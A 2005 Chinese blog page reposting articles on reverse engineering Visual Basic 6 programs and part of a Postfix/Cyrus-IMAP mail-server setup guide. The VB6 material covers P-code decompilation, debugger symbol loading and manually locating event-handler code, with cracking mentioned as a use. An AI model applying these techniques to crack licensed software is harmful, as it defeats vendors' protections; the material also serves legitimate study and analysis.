关于作者

用户名:冥冢
笔名:冥冢
地区: 山东-济南
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



网络技术朋友

技术文档网站

-=-黑客类网站-=-

资源共享

访问统计:
文章个数:13
评论个数:26
留言条数:3




Powered by BlogDriver 2.1

冥冢的博客

 

文章

[转载]Visual Basic 6 逆向工程与反逆向工程 第二部分

信息来源:http://www.xnovo.com/doc/html/aebbbgbgbbbbaamqrzsyrwgc.html

版权声明:本文作者拥有对此文章的所有版权,转载、翻译等都必须得到本人的书面同意。

VB编译奥秘

摘自John Chamberlain. Take Control of the Compile Process. Visual Basic programmer’s journal 1999, Nov。

如图所示:采用伪代码编译时,每个VB源文件(包括.frm、.bas、.cls文件)经VB IDE编译后各自生成相应的.obj文件,交链接程序link.exe生成伪编译的可执行文件(EXE、Dll、OCX等)。

而用自然编译时,每个VB源文件由C2.exe编译生成汇编代码,生成相应的obj文件,再由link.exe链接成为完整的可执行文件。

熟悉VC6的读者可以发现,在VC6安装目录下也存在C2.dll及link.exe文件,查看C2.dll与C2.exe属性,都表明是微软的32位编译程序。比较可以发现VB与VC的编译、链接程序具有一致性。



文件版本C2.EXE(Visual Basic 5) 5.00.0.7182C2.EXE (Visual Basic 6 SP5) 6.00.8783C2.DLL (Visual C++ 6) 6.00.8168Link.exe (Visual Basic 6 SP5) 6.00.8447Link.exe (Visual C++ 6) 6.00.8168

实际上,当初微软为了回应客户对VB代码进行自然编译的强烈要求,在没有推翻重来的情况下,就借用了VC的编译引擎来实现自然编译。

你可以用VC.net所带的link.exe替换VB6中的同名程序,这样链接生成的可执行文件就不能被VBDE所分析了。

注:此篇很大部分来于网络资料,大家看过就是。

- 作者: 冥冢 2005年06月18日, 星期六 09:17  回复(1) |  引用(0) 加入博采

[转载]Visual Basic 6 逆向工程与反逆向工程 第一部分


信息来源:www.jyyy.com.cn

简介

自从微软公司推出VISUAL BASIC 5/6版本以来,摆脱了前版程序只是单纯调用vbrun*.dll的方式;在继续保留P-code编译同时也引入了native编译方式,使得生成本地二进制代码成为可能。
以下将介绍目前对VB6的反编译研究情况;也将演示如何保护你的VB6程序。(因为VB6逆向工程资料的缺乏,我仅将在目前能得到的资料基础上结合个人研究所得进行演述)。关于vb.net,也就是所谓的“VB7”,其生成的exe程序完全可用.net反编译工具完成,此处不再介绍。


P-code传奇

编译器的编译技术可以分为native-compile(自然编译)与pcode-compile(伪编译)两种。
自然编译是编译器将高级语言转换为汇编代码,并经链接生成EXE程序的过程。
伪编译是编译器将高级语言转换为某种编码后,将能解释、执行此编码的一段程序一同链接,生成EXE程序。
伪代码p-code,最早应该叫做Pascal-Code,其名称起源于一个pascal编译器使用的“中间代码”编译技术。现在一般作为pseudo-code(伪代码),或packed-code(压缩代码)简称。
此项编译技术的出现,最终导致了“虚拟机”的出现。而微软在其编程工具basic、c、vb中都使用了类似的编译技术。
所谓伪代码,其基本工作原理是编译器先把执行程序编译为比80X86机器码紧凑得多的中间代码形式,然后在链接时把一个小工作引擎嵌入执行程序中,最后在运行时由此工作引擎把P-Code解释为本地机器码实际执行,所以叫做packed-code;同时又由于此代码并不是最终的机器码形式,实际上是“变形的源代码”,所以也被称为pseudo-code。依靠P-code编译技术,使得编程语言不依赖于机器或照作平台称为可能。
目前实现伪代码编码方式的最流行方法是在特定硬件系统(比如x86,Mac)上,用基于“堆栈stack”的字节码编码实现。

虽然目前伪代码编译形式大多见于vb,但java,powerbuilder的编译实质也是一样;最新的microsoft visual studio.net中,只是将名称换成“中间语言(Microsoft Intermediate Language)”。(不管怎么解释我还是不能理解IL与p-code的不同。(参考http://windows.oreilly.com/news/hejlsberg_0800.html《Deep Inside C#: An Interview with Microsoft Chief Architect Anders Hejlsberg》))。

因为vb3、4都是使用伪代码编译形式;也因为伪代码编译的代码实际只是“变形的源代码”,所以只要我们能理解其对应机制,就能做出反编译器来,所以Dodi's vb3/4 disassembler来了。同样,java反编译器来了,对付最新microsoft .net的反编译程序也可以被得到。
为什么见不到vb5/6 伪代码反编译器,现在已经有了几个“半个”,就是exdec及建立在其基础上的wkt vb p-code debugger,还有VBDE;2001年有人写出一个vb6 add-in来实现vb6源代码-> P-code转换。第2部分:理解mid()函数

Private Sub Command1_Click()
Dim a, b As String

a = Text1.Text
b = Mid(a, 2, 3)

End Sub


将上述代码用vb6分别编译为native code和P-code

函数原型Mid(string, start[, length])

(1)wdasm反汇编native code

:00401D62 C745A403000000 mov [ebp-5C], 00000003
:00401D69 C7459C02000000 mov [ebp-64], 00000002

* Reference To: MSVBVM60.rtcMidCharVar, Ord:0278h
|
:00401D70 FF153C104000 Call dword ptr [0040103C]


(2) exdec反编译P-code
401A63: 28 LitVarI2: ( local_00E4 ) 0x3 (3)
401A68: f5 LitI4: 0x2 2 (....)
401A6D: 04 FLdRfVar local_004
401A70: 04 FLdRfVar local_00F4
401A73: 0a ImpAdCallFPR4: rtcMidCharVar



trw2000 vb符号调试初步

我们都知道softice支持符号调试。而很少了解TRW2000也具有自动载入sym符号文件供调试的作用。
为了对Visual Basic 6进行符号调试,首先需要得到msvbvm60.dll及相对应的msvbvm60.dbg调试文件,这些可以从microsoft网站的VB6 SP5升级包中得到。
在你安装softice的目录\Util16下,有2个程序:Dbg2map及msym.exe
dos窗口下命令
c:\..\softice\util16> dbg2map.exe msvbvm60.dbg 生成msvbvm60.map文件
c:\..\softice\util16> msym.exe msvbvm60.map 生成msvbvm60.sym文件

将msvbvm60.sym文件放在trw2000.exe所在目录下,运行trw时会自动载入sym文件。
由此我们可以得到msvbvm50.sym、oleaut32.sym文件并一并载入。当多个sym被载入后可以在trw2000中下命令
sym
来选择当前使用的sym文件。

所以,我们将可以直接用exdec反编译得到的vb pcode助记符设断拦截。也可以在用trw进行跟踪时获得更多的程序信息。

注意:
1. 个人使用后体会,trw2000 1.23版本中,利用vb pcode助记符设断经常会出错,表现在trw不能将助记符正确转换为中断地址。

2. 如此也解决一个问题:exdec反编译后生成的pcode助记符名称是谁定义的?
答案是:微软公司


原有信息:
序 号:239688
标 题:送给SunBird的生日礼物----《如何定位简单的Visual Basic 6.0程序事件代码》。大家比老鸟晚看了3天。 (4千字)
发信人:小楼
时 间:2002-9-23 21:58:22
阅读次数:491
详细信息:

程序下载:http://xixiaolou.myetang.com/vb/vb01.zip


如何定位简单的Visual Basic 6.0程序事件代码

作者:小楼/[CCG]

下文是为看雪新书写作的一部分。本文作者保留对此文章的一切权利。非得到本作者书面授权,任何人不得修改、翻译、转载。

用过DEDE破解delphi程序的人,都很喜欢DEDE可以直接定位、显示具体某个事件,比如Command1.Click事件的起始至结束的反汇编代码。
VBDE对Visual Basic 6.0程序也能如此做到。但是仅仅限于VB6程序。

所以我将展示一种方法,来手工定位。此种方法对于VB5/6程序,不管是Native编译还是P-code编译全部适用,只有少数差异。

注:下文讲述时用到了COM的一些知识。
COM全称Components Object Model,通用组件模型。
想详细了解的可以访问以下链接:http://www.microsoft.com/china/msdn/library/dsmsdn/msdn_drguion020298.htm


我用Visual Basic 6.0编译了一个P-code程序keyup.exe,其中只添加了一个标准控件--Command1;实现一个事件

Private Sub Command1_KeyUp()
Msgbox("ddd")
End Sub


注意,实际上有2个标准控件:form及Command1。

编译为pcode程序keyup.exe后,用wdasm反汇编。
于import table中找到MSVBVM60.EVENT_SINK_AddRef
* Reference To: MSVBVM60.EVENT_SINK_AddRef, Ord:0000h
|
:00401032 FF2508104000 Jmp dword ptr [00401008]

上面就是跳转表一部分,vb事件总是从跳转表进入msvbvm60.dll

用search功能查找“00401032”。有2处

第一处
:004014CC 74144000 DWORD 00401474 // form
:004014D0 E8134000 DWORD 004013E8
:004014D4 2C104000 DWORD 0040102C // QueryInterface
:004014D8 32104000 DWORD 00401032 // addref, 控件出生
:004014DC 38104000 DWORD 00401038 // release, 控件死亡
//上述就是模拟的COM结构V-Table

:004014E0 00000000000000000000 BYTE 10 DUP(0)
:004014EA 00000000000000000000 BYTE 10 DUP(0)
:004014F4 00000000000000000000 BYTE 10 DUP(0)
:004014FE 00000000000000000000 BYTE 10 DUP(0)
:00401508 00000000000000000000 BYTE 10 DUP(0)
:00401512 00000000000000000000 BYTE 10 DUP(0)
:0040151C 00000000000000000000 BYTE 10 DUP(0)
:00401526 00000000000000000000 BYTE 10 DUP(0)
:00401530 00000000000000000000 BYTE 10 DUP(0)
:0040153A 00000000000000000000 BYTE 10 DUP(0)
:00401544 00000000000000000000 BYTE 10 DUP(0)
:0040154E 00000000000000000000 BYTE 10 DUP(0)
:00401558 0000000000000000 BYTE 8 DUP(0)


第二处
:00401560 9C144000 DWORD 0040149C //command1
:00401564 E8134000 DWORD 004013E8
:00401568 2C104000 DWORD 0040102C //QueryInterface
:0040156C 32104000 DWORD 00401032 //addref
:00401570 38104000 DWORD 00401038 //release


:00401574 00000000000000000000 BYTE 10 DUP(0)
:0040157E 00000000000000000000 BYTE 10 DUP(0)
:00401588 00000000 BYTE 4 DUP(0)

:0040158C B8154000 DB 004015B8 //定义keyup事件跳转地址

:00401590 00000000000000000000 BYTE 10 DUP(0)
:0040159A 00000000000000000000 BYTE 10 DUP(0)
:004015A4 00000000000000000000 BYTE 10 DUP(0)
:004015B0 00000000000000000000 BYTE 10 DUP(0)


:004015B8 B838000000 mov eax, 00000038 //跳到这里
:004015BD 663D33C0 cmp ax, C033
:004015C1 BABC184000 mov edx, 004018BC // call地址=004018BC
:004015C6 683E104000 push 0040103E //进入MethcallEngine
:004015CB C3 ret


然后ultraedit打开keyup.exe,定位到 0x004018BC - 0x00400000 = 0x18BC处
0x18BC - word (0x18BC+8) = 0x18BC - 0x002C = 0x1890

所以,call 004018BC后进入00401890开始运行,终止在004018BB附近。这就是pcode代码的事件代码手工定位方法。用exdec反编译后验证正确。(但是我们可以知道这是Command1_KeyUp事件,尽管exdec没有告诉我们。)

Proc: 4018bc
401890: 27 LitVar_Missing
401893: 27 LitVar_Missing
401896: 27 LitVar_Missing
401899: f5 LitI4: 0x0 0 (....)
40189E: 3a LitVarStr: ( local_0094 ) ddd
4018A3: 4e FStVarCopyObj local_00A4
4018A6: 04 FLdRfVar local_00A4
4018A9: 0a ImpAdCallFPR4: 
4018AE: 36 FFreeVar
4018B9: 13 ExitProcHresult

以上就是具体方法的实现。

至于如何明确二进制代码所代表的标准控件的属性、事件含义;弄明白msvbvm60.dll中各个函数(也是vb函数)的结构定义;WKT VB pcode Debugger工作原理等等我将在看雪新书中为大家描述。

- 作者: 冥冢 2005年06月18日, 星期六 09:12  回复(1) |  引用(0) 加入博采

Postfix + Cyrus-IMAP + Cyrus-SASL + MySQL + IMP
全面介绍了利用Postfix建立一套完整的邮件服务器的方法,包括了SMTP认证、IMAP认证以及WEBMAIL等相关技术问题,文章完整翔实全面,可即看即用。
版本:0.41

版权:GPL



目录
1.  概述

1.1.  目的

1.2.  更新历史

1.3.  TODO

1.4.  鸣谢

2.  系统功能

3.  系统基本前提

4.  配置MySQL

4.1.  运行

4.2. 测试

4.3.  配置

5.  安装pam_mysql

5.1.  下载

5.2.  编译与安装

5.3.  配

6.  安装Cyrus-SASL

6.1.  下载

6.2.  编译与安装

6.3.  配置

6.4. 运行

7.  安装Postfix

7.1.  下载

7.2.  编译与安装

7.3.  配置

7.4.  运行

7.5.  测试

8.  安装Cyrus-IMAP

8.1.  下载

8.2.  编译与安装

8.3.  配置

8.4.  运行

8.5.  测试

9.  安装IMP

9.1.  下载

9.2.  配置Apache/PHP

9.3.  配置Horde

9.4.  配置Imp

9.5.  配置Turba

9.6.  测试IMP

10.  其它

10.1.  启动脚本

10.2.  整体测试


--------------------------------------------------------------------------------



1.  概述
1.1.  目的
本文试图介绍如何在一个Linux平台上安装一套功能完整的邮件系统。这里我们以Postfix做SMTP服务器、Cyrus-IMAP做POP3/IMAP4服务器、通过Cyrus-SASL对存储在MySQL数据库中的用户进行验证和授权,并且使用IMP来提供一个完善的WEBMAIL界面。

这个邮件系统的设计目标是提供一个可扩充的、具备大多数功能的邮件系统。

本文的最新版本可以在这里找到:

格式 URL
简体中文/HTML  http://www.cngnu.org/technology/Postfix_I.html
繁体中文/HTML  http://www.cngnu.org/technology/Postfix_I.tw.html
简体中文/TEXT  http://www.cngnu.org/technology/Postfix_I.txt
繁体中文/TEXT  http://www.cngnu.org/technology/Postfix_I.tw.txt

有关本文所涉及的技术问题,请到http://www.chinaunix.net/forum/viewforum.php?f=14的mail版讨论,我会尽快回复的。

本文的版权遵循GPL,可以在不删除版权信息和注明修改的情况下任意传播。

1.2.  更新历史
2002-05-21 第一次发布,版本0.20。
2002-08-13 修正一些错误,版本0.21。
2002-08-23 修正一些错误,版本0.22。
2002-09-12 在RedHat Linux Advance Server V2.1上进行了测试,修正了一些错误,版本0.30。
2002-12-12 修正了一些错误,添加了IMP部分的内容,版本0.31。
2003-01-30 修正了一些错误,添加了非明文密码部分的内容,版本0.32。
2003-02-05 修正了一些错误,版本0.33
2003-03-26 使用了SASL V2和Cyrus-IMAP 2,支持使用db4的新的Linux发行版,如RedHat 8.0和Mandrake 9.0,并以RedHat 8.0为示范平台。修正了一些错误,版本0.40。
2003-03-28 修正了一些错误,特别感谢bjchenxu,版本0.41。
1.3.  TODO
增加邮件列表功能
增加SSL部分的内容
增加虚拟域部分的内容
翻译:希望有能力的朋友可以翻译这篇文章为英文,这样国外的朋友也可以看到
1.4.  鸣谢
谢谢lesson.ward、Yunping Zhu、Temp、bjchenxu的指正。



参考文档:http://www.delouw.ch/linux/Postfix-Cyrus-Web-cyradm-HOWTO/html/index.html。在这篇文章撰写之初,参考过该文章,目前该文章也在不断更新,大家也可以看看。

2.  系统功能
系统逻辑结构:


+---------------------------------------------------+
|                                                   |
|  25/25    25/25     110/993  143/995    80/443    |
| Incoming Outgoing     POP3     IMAP    WEB-MAIL   |
|    /\       /\         /\       /\        /\      |
|    ||       ||         ||       ||        ||      |
|    \/       \/         \/       \/        \/      |
+-------------------+---------------+---------------+
|    Postfix        |               |      IMP      |
|                   |               +---------------+
|                   |      Cyrus-IMAP               |
|       +-----------+-------------------------------+
|       |                  Cyrus-SASL               |
|       +-------------------------------------------+
|       |                  saslauthd                |
|       +-------------------------------------------+
|       |                     PAM                   |
|       +-------------------------------------------+
|       |                  pam_mysql                |
+-------+-------------------------------------------+
|                      MySQL                        |
+---------------------------------------------------+
整个系统对外的界面包括几个部分,用来发信的SMTP、用来收信的POP3和IMAP、以及一个WEB界面的邮件使用系统。这里没有提供WEB界面的管理工具,需要大家自行依据实际需要开发。

MySQL作为系统中存储数据的核心,它存储了用户的信息。这个信息不但用于POP3/IMAP和SMTP AUTH的认证需要,而且也为Postfix提供了本地接收者的列表和转发功能。

认证流程比较繁琐。整个认证是通过Cyrus-SASL来做的,通过运行一个守护进程saslauthd来监听认证需求。saslauthd这里使用了pam认证方式通过pam_mysql插件对MySQL数据库进行查找。

3. &nsp;系统基本前提
本文以Linux系统为目标平台,支持多数的Linux平台如RedHat 7.x/8.x、Mandrake 8.x/9.x等,理论上也会支持其他的Linux发行版,甚至其他的UNIX系统。

这里以RedHat Linux V 8.0为说明平台。

该说明平台除了基本的操作系统部分外,系统中还安装了如下的RPM:

一、gcc:

1.  gcc-3.2-7

2.  gcc-c++-3.2-7

二、db3:

1.  db4-devel-4.0.14-14

2.  db4-4.0.14-14

3.  db4-utils-4.0.14-14

三、pam:

1.  pam-0.75-40

2.  pam-devel-0.75-40


四、mysql:

1.  mysql-3.23.52-3

2.  mysql-server-3.23.52-3

3.  mysql-devel-3.23.52-3

五、IMP相关:

1. httpd-2.0.40-8

2. httpd-devel-2.0.40-8

2. gettext-0.11.4-3

3. imap-devel-2001a-15

4. krb5-libs-1.2.5-6

5. krb5-devel-1.2.5-6

6. openssl-0.9.6b-29

7. openssl-devel-0.9.6b-29


如果系统中没有,请自行安装RPM包或编译安装。除此之外,其他需要的部分将以源码方式编译。

4.  配置MySQL
4.1.  运行
启动命令如下:

[root@mail root]# /etc/init.d/mysqld start


4.2.  测试
启动MySQL后,首先检查日志/var/log/messages有无错误信息,然后检查进程,应该有如下进程存在:

[root@mail root]# pstree | grep mysqld



|-safe_mysqld---mysqld---mysqld---2*[mysqld]




接着检查端口,应该有如下端口打开:

[root@mail root]# netstat -an | grep LISTEN



tcp00 0.0.0.0:33060.0.0.0:*LISTEN





4.3.  配置
MySQL安装配置好以后,在MySQL中创建邮件用户数据库,并添加一个测试用户"tester":

[root@mail root]# mysql mysql

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A



Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 1 to server version: 3.23.52



Type 'help;' or '\h' for help. Type '\c' to clear the buffer.



mysql> CREATE DATABASE mail;

Query OK, 1 row affected (0.00 sec)



mysql> GRANT ALL ON mail.* TO mail@localhost

-> IDENTIFIED BY "secret";

Query OK, 0 row affected (0.00 sec)



mysql> FLUSH PRIVILEGES;

Query OK, 0 row affected (0.00 sec)



mysql> USE mail;

Database changed



mysql> CREATE TABLE USER (

-> USERNAME varchar(32) not null default '',

-> PASSWORD varchar(64) not null default '',

-> FORWARD varchar(128) not null default '',

-> PATITION varchar(32) not null default 'default',

-> QUOTE int not null default '1024',

-> STATUS tinyint not null default '1');

Query OK, 0 rows affected (0.00 sec)



mysql> CREATE INDEX USER ON USER (USERNAME,PASSWORD,FORWARD,STATUS);

Query OK, 0 rows affected (0.00 sec)

Records: 0 Duplicates: 0 Warnings: 0



mysql> INSERT INTO USER (USERNAME,PASSWORD,FORWARD)VALUES

-> ('tester','$1$pi.WVgBx$a3dUCzBnbY76jnZlqWQCQ/','tester');

Query OK, 1 row affected (0.01 sec)



mysql> \q

Bye


上面的mail数据库的user表用来保存用户信息:

USERNAME和PASSWORD字段就是用户名和MD5-Crypt密码。这里采用了加密密码是为了更好的安全性。
FORWARD字段默认情况下与USERNAME一样,在此情况下,邮件递交到本地邮箱(由于Postfix区分邮箱的大小写,所以通过这样的一个转发,正好可以消除大小写的区别);如果FORWARD字段是另外一个用户名或者邮件地址,则该邮件被转发到别的用户或其它邮件地址。
STATUS字段用来指示该用户是否有效,可以通过修改该值为0来临时禁止某个用户。


5.  安装pam_mysql
5.1.  下载
http://sourceforge.net/projects/pam-mysql/

[root@mail root]# cd /usr/src

[root@mail src]# wget http://prdownloads.sourceforge.net/pam-mysql/pam_mysql-0.4.7.tar.gz


注:如果不能访问该网站取得pam_mysql,请自行使用代理服务器访问。

5.2.  编译与安装
编译pam_mysql:

[root@mail src]# tar -zxf pam_mysql-0.5.tar.gz

[root@mail src]# cd pam_mysql


修改pam_mysql.c的源代码,去掉调试消息:

[root@mail pam_mysql]# vi +54 pam_mysql.c


将如下一行:

#define DEBUG

修改为:

/* #define DEBUG */

然后编译:

[root@mail pam_mysql]# make

[root@mail pam_mysql]# cp pam_mysql.so /lib/security




有些情况下,这个编译会报错,但是如果编译能生成pam_mysql.so模块,还是可以用的。

5.3.  配置
创建/etc/pam.d/mail,它用来支持Cyrus-IMAP的imap认证、pop认证和Postfix的smtp认证:

[root@mail pam_mysql]# cd /etc/pam.d

[root@mail pam.d]# echo auth sufficient pam_mysql.so user=mail passwd=secret \

> host=localhost db=mail table=USER usercolumn=USERNAME passwdcolumn=PASSWORD \

> crypt=1> /etc/pam.d/mail

[root@mail pam.d]# echo account required pam_mysql.so user=mail passwd=secret \

> host=localhost db=mail table=USER usercolumn=USERNAME passwdcolumn=PASSWORD \

> crypt=1>> /etc/pam.d/mail

[root@mail pam.d]# echo auth sufficient pam_unix_auth.so >> /etc/pam.d/mail

[root@mail pam.d]# echo account sufficient pam_unix_acct.so >> /etc/pam.d/mail


这里前面两行是指通过mysql数据库来认证用户,后面两行指是通过UNIX的基本方式认证用户(即系统用户)。这里我们之所以保留UNIX系统认证模式,是因为我们下面要通过系统用户cyrus来管理cyrus-imap邮箱。不过你也可以选择将这个管理帐号cyrus放入mysql认证数据库里面,只需要你在上面的数据库里面添加一个cyrus用户。

通过给上面的crypt赋予不同的值可以使用多种密码存储方式:

crypt=0:表示使用明文来存储密码。这样存储的好处是简单,但是不够安全。
crypt=1:表示使用UNIX系统的DES加密密码方式来存储。即通常的UNIX的/etc/passwd(老式系统加密口令存储在这里)或/etc/shadow(较为新的系统加密口令存放在这里)中存储的加密口令。加密口令有两种,一种是普通的des加密的,也叫crypt(),这种密码是13位长,前面两个字符是加密种子;还有一种是使用了MD5算法增强了的,也叫MD5 crypt(),这种密码的加密种子是以$1$开头的12个字符,密码长度不定。
crypt=2:表示使用mysql的SQL函数password()加密方式来存储。
crypt=3:表示使用md5的散列方式来存储。这种方式和MD5 crypt()是不一样的。
一般如果从系统用户迁移到使用数据库的虚拟用户时,可以使用crypt=1方式,系统会自动辨别两种加密口令。如果需要开发用户修改口令的功能时,C和Perl里面的crypt函数不能支持MD5 crypt()口令,需要使用额外的编程或模块来支持。

做个符号链接/etc/pam.d/imap,它用来支持Cyrus-IMAP的imap认证:

[root@mail pam.d]# [ -f imap ] && mv imap imap.orig


[root@mail pam.d]# ln -s mail imap



同样创建/etc/pam.d/pop ,它用来支持Cyrus-IMAP的pop3认证:

[root@mail pam.d]# [ -f pop ] && mv pop pop.orig


[root@mail pam.d]# ln -s mail pop


同样创建/etc/pam.d/smtp ,它用来支持Postfix的smtp auth认证:

[root@mail pam.d]# [ -f smtp ] && mv smtp smtp.orig

[root@mail pam.d]# ln -s mail smtp


系统上可能已经存在了这些文件,请将原来的改名或者删除。

6.  安装Cyrus-SASL
6.1.  下载
http://asg.web.cmu.edu/cyrus/download/

[root@mail pam.d]# cd /usr/src

[root@mail src]# wget ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/cyrus-sasl-2.1.12.tar.gz


6.2.  编译与安装
编译Cyrus-sasl,只支持需要的plain和login认证方式:

[root@mail src]# tar -zxvf cyrus-sasl-2.1.12.tar.gz

[root@mail src]# cd cyrus-sasl-2.1.12

[root@mail cyrus-sasl-2.1.12]# ./configure --disable-sample \

> --disable-pwcheck --disable-cram --disable-digest \

> --disable-krb4 --disable-gssapi --disable-anon \

> --with-saslauthd=/var/run/saslauthd \

> --enable-plain --enable-login



[root@mail cyrus-sasl-2.1.12]# make

[root@mail cyrus-sasl-2.1.12]# make install



[root@mail cyrus-sasl-2.1.12]# [ -d /usr/lib/sasl2 ] && mv /usr/lib/sasl2 /usr/lib/sasl2.orig

[root@mail cyrus-sasl-2.1.12]# ln -s /usr/local/lib/sasl2 /usr/lib/sasl2


系统上如果已经安装了SASL 2,请先删除这些RPM或/usr/lib/sasl2这个目录。



加载链接库:

[root@mail cyrus-sasl-2.1.12]# echo /usr/local/lib >> /etc/ld.so.conf

[root@mail cyrus-sasl-2.1.12]# echo /usr/local/lib/sasl2 >> /etc/ld.so.conf

[root@mail cyrus-sasl-2.1.12]# ldconfig


6.3.  配置
设置Postfix使用SASL的saslauthd认证守护进程来支持smtp auth认证:

[root@mail cyrus-sasl-2.1.12]# echo pwcheck_method: saslauthd > /usr/lib/sasl2/smtpd.conf


  Cyrus-IMAP的SASL配置不使用标准的sasl语法,它的配置文件放在/etc/imapd.conf中,详细配置在Cyrus-IMAP部分说明。

6.4.  运行
运行saslauthd守护进程,并使其使用pam认证模式来提供认证信息:

[root@mail cyrus-sasl-2.1.12]# /usr/local/sbin/saslauthd -a pam


整个系统使用的认证机制比较复杂。所有的应用(SMTP、IMAP、POP3等)都采用SASL V2的saslauthd来认证;而saslauthd是通过它所支持的PAM模式来借助pam_mysql接口对存储在MySQL数据库中用户信息进行认证的。请参阅上面的系统结构以了解认证流程。



7.  安装Postfix
7.1.  下载
http://www.postfix.org/ftp-sites.html

[root@mail cyrus-sasl-2.1.12]# cd /usr/src

[root@mail src]# wget http://postfix.energybeam.com/source/official/postfix-2.0.7.tar.gz


7.2.  编译与安装
如果你的系统上原来有sendmail,先将其停止并将其文件改名:

[root@mail src]# /etc/init.d/sendmail stop

[root@mail src]# mv /usr/bin/newaliases /usr/bin/newaliases.orig

[root@mail src]# mv /usr/bin/mailq /usr/bin/mailq.orig

[root@mail src]# mv /usr/sbin/sendmail /usr/sbin/sendmail.orig




然后添加两个组:postfix和maildrop和一个用户:postfix

[root@mail src]# groupadd -g 12345 postfix

[root@mail src]# groupadd -g 12346 postdrop

[root@mail src]# useradd -u 12345 -g 12345 -c postfix -M -d/no/where -s/no/shell postfix


这里的组和用户的ID是系统中未使用的ID。



编译Postfix,并支持mysql和sasl:

[root@mail src]# tar -xvzf postfix-2.0.7.tar.gz

[root@mail src]# cd postfix-2.0.7



[root@mail postfix-2.0.7]# make -f Makefile.init makefiles \

> 'CCARGS=-DUSE_SASL_AUTH -DHAS_MYSQL -I/usr/include/mysql -I/usr/local/include/sasl' \

> 'AUXLIBS=-L/usr/lib/mysql -L/usr/local/lib/sasl2 -lmysqlclient -lsasl2 -lz -lm'

[root@mail postfix-2.0.7]# make install


安装时,安装程序会提问一些问题,可以直接按回车采用默认值。

这里切记要专门指定你刚安装的SASL2的INCLUDE和LIB位置。由于现在很多linux发行版上都已经带有了sasl,如果不指定的话,很可能会使用了不同版本的头文件和库,在这种情况下,每次连接SMTP时,smtpd就会发生致命错误"Fatal: SASL per-connection server init..."而崩溃。



修改系统的别名数据库位置:

[root@mail postfix-2.0.7]# cd /etc

[root@mail etc]# mv aliases aliases.orig

[root@mail etc]# ln -s postfix/aliases aliases


给postfix用户做一个系统别名,并将超级用户的邮箱转发到一个普通用户如tester。使用/etc/postfix/aliases别名数据库:

[root@mail etc]# cd postfix

[root@mail postfix]# echo 'root: tester' >> /etc/postfix/aliases


生成/etc/postfix/aliases别名数据库:

[root@mail postfix]# postalias /etc/postfix/aliases



7.3.  配置
修改/etc/postfix/master.cf中的关于cyrus的配置,(cyrus的命令行和以前有不兼容的地方,确保你的cyrus的参数如下使用了-r ${sender}参数):

[root@mail postfix]# vi master.cf


将如下两行:

cyrus unix - n n - - pipe
user=cyrus argv=/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}

修改为:

cyrus unix - n n - - pipe
user=cyrus argv=/usr/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}

这里要把cyrus的路径修改为你的cyrus实际安装路径(我们下面会将cyrus-imap安装到/usr/cyrus)。 记着user=...这行前面是以空格缩进的。



[root@mail postfix]# vi main.cf




修改/etc/postfix/main.cf的配置:

myhostname = mail.cngnu.org

mydomain = cngnu.org

myorigin = $mydomain

mydestination = $mydomain,$myhostname



alias_maps = hash:/etc/postfix/aliases

alias_database = hash:/etc/postfix/aliases



home_mailbox = Maildir/




mailbox_transport = cyrus

fallback_transport = cyrus



virtual_maps = hash:/etc/postfix/virtual,mysql:/etc/postfix/mysql-virtual.cf



smtpd_sasl_auth_enable = yes

smtpd_recipient_restrictions = permit_sasl_authenticated permit_auth_destination reject

broken_sasl_auth_clients = yes

smtpd_sasl_security_options = noanonymous


在上面的配置文件里面使用了SASL来进行SMTP发信认证。这里没有使用smtpd_sasl_local_domain参数来指定本地认证域,如果指定了,需要注意的是,在上面的数据库里面的USERNAME字段要以以下格式包括这个本地域:tester@cngnu.org。



创建/etc/postfix/mysql-virtual.cf,它提供了本地用户和邮件转发功能。FORWARD字段和USERNAME字段值默认是相同的,此时邮件本地递交到用户邮箱:USERNAME@mydomain.com里面;FORWARD是另外一个邮件地址或用户时,邮件转发到新的地址。此外,由于Postfix对于邮箱区别大小写,通过virtual功能的重写,可以保证大小写的邮件地址都可以正确接收。

[root@mail postfix]# vi mysql-virtual.cf




#

# mysql config file for alias lookups on postfix

#



# the user name and password to log into the mysql server

hosts = localhost

user = mail

password = secret



# the database name on the servers

dbname = mail



# the table name

table = USER



select_field = FORWARD

where_field = USERNAME

additional_conditions = and STATUS = '1' limit 1




创建上面指定的/etc/postfix/virtual的DB库:

[root@mail postfix]# postmap virtual


保留db格式的virtual库是为了系统添加一些虚拟域和转发方便起见。

7.4.  运行
启动命令如下:

[root@mail postfix]# /usr/sbin/postfix start


7.5.  测试Postfix
启动Posfix后,首先检查日志/var/log/messages有无错误信息,然后检查进程,应该有如下进程存在:检查端口及进程:

[root@mail postfix]# pstree |grep master



|-master-+-pickup




接着检查端口,应该有如下端口打开:

[root@mail postfix]# netstat -an |grep LISTEN



tcp00 0.0.0.0:250.0.0.0:*LISTEN




再检测SMTP服务是否正常:

[root@mail postfix]# telnet localhost 25

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.cngnu.org ESMTP Postfix
QUIT
221 Bye
Connection closed by foreign host.


使用如下命令测试postfix的SMTP的认证:

PLAIN认证方式:

[root@mail postfix]# printf 'tester\0000tester\0000testpw'|mmencode

dGVzdGVyAHRlc3RlcgB0ZXN0cHc=



[root@mail postfix]# telnet localhost 25

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.cngnu.org ESMTP Postfix

EHLO cngnu

250-mail00.cngnu.org

250-PIPELINING

250-SIZE 10240000

250-VRFY

250-ETRN

250-AUTH LOGIN PLAIN

250-AUTH=LOGIN PLAIN


250-XVERP

250 8BITMIME

AUTH PLAIN dGVzdGVyAHRlc3RlcgB0ZXN0cHc=

235 Authentication successful

QUIT

221 Bye

Connection closed by foreign host.


LOGIN认证方式:

[root@mail postfix]# printf 'tester' |mmencode

dGVzdGVy

[root@mail postfix]# printf 'testpw' |mmencode

dGVzdHB3



[root@mail postfix]# telnet localhost 25

Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.cngnu.org ESMTP Postfix

EHLO cngnu

250-mail.cngnu.org

250-PIPELINING

250-SIZE 10240000

250-VRFY

250-ETRN

250-AUTH LOGIN PLAIN

250-AUTH=LOGIN PLAIN


250-XVERP

250 8BITMIME

AUTH LOGIN

334 VXNlcm5hbWU6

